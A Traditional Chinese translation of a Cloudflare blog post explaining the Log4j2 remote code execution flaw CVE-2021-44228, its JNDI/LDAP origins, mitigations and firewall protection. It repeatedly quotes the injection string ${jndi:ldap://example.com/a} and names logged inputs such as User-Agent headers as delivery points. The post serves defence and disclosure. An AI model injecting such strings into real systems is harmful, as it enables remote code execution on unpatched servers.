Subscribe to receive notifications of new posts:

Log4j2 漏洞 (CVE-2021-44228) 內部

2021-12-10

7 min read

昨天,也就是 2021 年 12 月 9 日,公開了基於 Java 的熱門記錄套件 Log4j 中的一個嚴重漏洞。該漏洞允許攻擊者在遠端伺服器上執行代碼,即所謂的遠端代碼執行 (RCE)。由於 Java 和 Log4j 的廣泛使用,這可能是自 HeartbleedShellShock 出現以來,網際網路上最嚴重的漏洞之一。

該漏洞編號為 CVE-2021-44228,影響 2.0-beta-9 和 2.14.1 之間的 Log4j v2 版本。該漏洞在 2.15.0 中已修復。

在本貼文中,我們解釋了該漏洞的歷程記錄、其引入過程以及 Cloudflare 如何保護我們的客戶。有關我們的防火牆服務封鎖的實際漏洞利用嘗試的詳細資料,將在單獨的部落格文章中進行闡述。

Cloudflare 也使用一些基於 Java 的軟體,我們的團隊已竭誠努力,確保我們的系統不會容易受到攻擊或緩解該漏洞。與此同時,我們推出防火牆規則來保護我們的客戶。

但是,如果您就職的公司使用基於 Java 的軟體,且該軟體使用 Log4j,您應當立即閱讀區塊「如何緩解和保護您的系統」,之後再來閱讀其他部份。

如何緩解 CVE-2021-44228

如要緩解,可使用以下選項(在此處參閱 Apache 的建議):

1. 升級至 Log4j v2.15.0

2. 如果您正在使用 Log4j v2.10 或以上版本,且無法升級,則設定屬性:

log4j2.formatMsgNoLookups=true

此外,可以為這些相同受影響版本設定環境變數:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. 或從類別路徑中移除 JndiLookup 類別。例如,您可以執行類似下面的命令

zip -q -d log4j-core-*.jarorg/apache/logging/log4j/core/lookup/JndiLookup.class
,從 log4j-core 中移除類別。

漏洞歷程記錄

2013 年,在版本 2.0-beta9 中,Log4j 套件在問題 LOG4J2-313 中新增了「JNDILookup 外掛程式」。要理解該變更如何導致了問題,則有必要稍加瞭解 JNDI:Java 命名和目錄介面。

JNDI 自 20 世紀 90 年代後期就存在於 Java 中。這是一種目錄服務,允許 Java 程式透過目錄查找資料(以 Java 物件的格式)。JNDI 有一些服務提供者介面 (SPI),支援其使用大量目錄服務。

例如,CORBA COS(公用物件服務)、Java RMI(遠端方法介面)登錄和 LDAP 存在 SPI。LDAP(輕量型目錄存取通訊協定)是非常熱門的目錄服務,也是 CVE-2021-44228 的主要焦點(儘管也有可能使用其他 SPI)。

Java 程式可能結合使用 JNDI 和 LDAP 來查找包含所需資料的 Java 物件。例如,在標準 Java 文件中,有一個與 LDAP 伺服器交談來從物件擷取屬性的範例。它使用 URL ldap://localhost:389/o=JNDITutorial 從在相同電腦(本機主機)的連接埠 389 上執行的 LDAP 伺服器中查找 JNDITutorial 物件,並繼續從中讀取屬性。

正如教程所說,「如果您的 LDAP 伺服器位於另一電腦上或使用另一連接埠,則需要編輯 LDAP URL」。因此,LDAP 伺服器可以在其他電腦上執行,且有可能在網際網路上的任何位置。這種靈活性意味著,如果攻擊者可以控制 LDAP URL,他們就能夠讓 Java 程式從受其控制的伺服器載入物件。

這是 JNDI 和 LDAP 的基礎,是 Java 生態系統一個很有用的部份。

但在 Log4j 的情況中,攻擊者可以透過使 Log4j 嘗試寫入類似 ${jndi:ldap://example.com/a} 的字串來控制 LDAP URL。如果發生此情況,則 Log4j 將連線至位於 example.com 的伺服器並擷取物件。

這是因為 Log4j 包含 特殊語法,格式為 ${prefix:name},其中 prefix 是其他 Lookups 的一個數字,而 name 應進行求值。例如,${java:version} 是目前執行的 Java 版本。

LOG4J2-313 新增了一下如下所示的jndi Lookup:「JndiLookup 允許透過 JNDI 擷取變數。依預設,將向金鑰新增首碼 java:comp/env/,然而,如果金鑰包含「:」,則不會新增首碼。」

當金鑰中存在 : 時,就如 ${jndi:ldap://example.com/a} 中一樣,沒有首碼,且會向 LDAP 伺服器查詢該物件。這些 Lookups 既可在 Log4j 的設定中使用,也可在記錄行時使用。

因此,攻擊者只需要找到會被記錄的一些輸入,並新增類似 ${jndi:ldap://example.com/a} 的內容即可。這些輸入可能是 User-Agent 之類的常見 HTTP 標頭(通常會被記錄),或可能是 username 之類的表單參數(也可能被記錄)。

這在使用 Log4j 且基於 Java 的網際網路對向軟體中可能十分常見。而更加嚴重的是,使用 Java 的非網際網路對向軟體也可能被利用,因為資料會從系統傳遞到系統。

例如,一個包含漏洞的 User-Agent 字串可能會被傳遞到以 Java 編寫的後端系統,該系統進行索引或資料科學,則漏洞可能被記錄。這就是為什麼使用 Log4j v2 的所有基於 Java 的軟體立即修補或套用緩解措施十分重要。即使網際網路對向軟體未以 Java 編寫,字串也可能傳遞到以 Java 編寫的其他系統,從而導致發生漏洞利用。

Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

或者想像一個基於 Java 的計費系統,會在未找到客戶的名字時進行記錄。惡意使用者可能會建立一個包含名字的訂單,其中包含漏洞,該漏洞可能需要多個躍點(和大量時間)才能從 Web 伺服器經由客戶資料庫進入最終執行的計費系統。

且 Java 用於許多系統,遠遠不只是網際網路對向的系統。例如,不難想像一個掃描盒子上 QR 代碼的套件處理系統,或者一個非接觸式門金鑰,如果它們都用 Java 編寫且使用 Log4j, 則都容易受到攻擊。比如說,一個精心製作的 QR 代碼可能包含郵寄地址,其中包含漏洞字串;再比如說,精心編製的門金鑰可能包含漏洞並被追蹤進出的系統記錄。

執行定期工作的系統可能會撿到漏洞並在之後記錄。因此,該漏洞可能會休眠,直到以 Java 編寫的一些索引、彙總或封存程序不經意間記錄惡意字串。這可能是在幾小時甚至幾天後。

Cloudflare 防火牆保護

Cloudflare 使用防火牆規則為我們的客戶提供保護,這些規則在 HTTP 請求中的常見位置封鎖 jndi Lookup。這在此處進行了詳細介紹。隨著攻擊者修改他們的漏洞,我們已持續優化這些規則,這一過程仍將繼續。

We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit 1.1.1.1 from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
Log4J (TW)Log4Shell (TW)Zero Day Threats (TW)Vulnerabilities (TW)Security (TW)

Follow on X

Cloudflare|@cloudflare

Related posts